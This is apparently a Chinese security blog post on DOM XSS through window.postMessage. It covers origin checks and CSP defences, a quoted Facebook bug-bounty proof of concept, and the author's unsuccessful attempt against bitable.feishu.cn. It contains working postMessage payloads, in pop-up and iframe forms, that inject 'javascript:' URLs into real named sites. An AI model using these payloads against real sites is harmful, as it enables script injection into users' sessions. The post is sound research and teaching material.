0x00 介绍 window.postMessage
参考: https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
window.postMessage() 主要是解决跨源通信的。
从广义上讲,一个窗口可以获得对另一个窗口的引用(比如 targetWindow = window.opener),然后在窗口上调用 targetWindow.postMessage() 方法分发一个 MessageEvent 消息。接收
0x01 常出现的dom-xss 问题
其实就是引入了一个污点。
facebook给过一个2w刀的dom xss赏金——https://vinothkumar.me/20000-facebook-dom-xss/
看一下关键触发代码:
这里的i.url是攻击者可控的,就是postmessage传递过去的数据,然后window.open触发,利用javascript伪协议,就可以变成一个xss漏洞。
0x02 postMessage防护
可以参考这篇:https://security.tencent.com/index.php/blog/msg/107
简单来说就是校验orgin.
还可以提高利用难度,如设置csp, x-frame-options: DENY
。
这个意思是禁止所有iframe加载这个网站.
从postMessage dom-xss漏洞利用来看,存在两种方式,一种是iframe, 一种是window.open, 示例如下。这个csp设计
Pop-up method:
1 2 3 4 5 6 7 8
| <script> var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1"); setTimeout(function(){ var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"}; opener.postMessage(message, '*'); },'4000'); </script>
|
Iframe method:
1 2 3 4 5 6 7 8
| <script> function fbFrameLoaded() { var iframeEl = document.getElementById('fbframe'); var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"}; iframeEl.contentWindow.postMessage(message, '*'); }; </script> <iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>
|
0x03 bitable.feishu.cn站点自嗨dom-xss
- 漏洞触发代码,htmlpcindex开头的某个js文件。
window.open(a.payload.url, "_blank", "noopener");
a为postmessage可控的数据。
- 设置了csp
- payload
1 2 3 4 5 6 7 8
| <script> var opener = window.open("https://bitable.feishu.cn/","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1"); setTimeout(function(){ var message = {"xdArbiterHandleMessage":true,"token":"VcX507E54v","payload":{"url":"javascript:alert(document.domain)","target":"_self"},"method":"navigator.change","message":"","origin":"ORIGIN"}; opener.postMessage(message, '*'); },'1000'); </script>
|
我以为大功告成了,再看才发现还有个token校验,这个token还是个生成的10位随机数。
想办法绕过这个随机数。
- js伪随机数,不行
- 趁token还是undefined的时候触发漏洞,不行,token生成一定在前面
好吧,都行不通,终极白忙活。
假装获取到token,合影留念……